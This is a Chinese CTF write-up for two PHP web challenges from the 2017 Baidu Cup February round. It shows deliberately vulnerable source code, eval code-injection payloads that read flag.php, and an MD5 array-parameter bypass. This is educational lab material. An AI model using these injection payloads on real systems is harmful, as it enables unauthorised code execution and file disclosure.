1.“百度杯”CTF比赛 2017 二月场 爆破-2

提示:flag不在变量中。
题目:

  1. <?php
  2. include "flag.php";
  3. $a = @$_REQUEST['hello'];
  4. eval( "var_dump($a);");
  5. show_source(__FILE__);

题解:代码中有eval函数,考虑如何利用eval函数,将flag.php的内容打印出来
[1]?hello=1);phpinfo();//—将var_dump函数闭合,添加phpinfo();并用//注释后面的代码,可以查看php版本,及禁用的函数。
[2]?hello=1);print_r(file_get_contents(‘flag.php’));// 右键查看代码,得flag。

2.百度杯”CTF比赛 2017 二月场 爆破-3

题目:

 <?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){//初始化变量
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){//如果时间超过2分钟则销毁session
  session_destroy();
}

$value = $_REQUEST['value'];//传参
$str_rand = range('a', 'z');//初始化a-z的一个字符串
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
//$str_rands由两个a-z随机字符组成,比如ab,ae,ds等,mt_rand(0,25)用来生成0-25随机数
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
  //如果if条件成立,则$_SESSION['nums']变量加1,$_SESSION['whoami']赋值为$str_rands;
}

if($_SESSION['nums']>=10){//当$_SESSION['nums']大于10时输出flag
  echo $flag;
}

show_source(__FILE__);
?>

题解:substr(md5($value),5,4)==0绕时是解题关键,只要传入正确的$_SESSION[‘whoami’]并保证substr(md5($value),5,4)==0,连续操作10次就可以得到flag。
方法一:
payload:?value=ea
image.png
接下来将paylaod改为?value=vb,如果有输出,则继续将value改为输出值,如果没有输出,可以将paylaod改为以vb开头的任意值,比如?value=vbaa,?value=vbab等,直到出现输出值,再重复以上操作,操作10次后得到flag。
方法二:利用md5函数不能对数组进行处理特性,如果传入的参数是数组,md5()的返回值恒为0,substr的返回值也恒为0。
paylaod:?value[]=ea,然后再将输出值vb传参,即:?value[]=vb。。。重复10次后得到flag。第二种方法效率更高,推荐。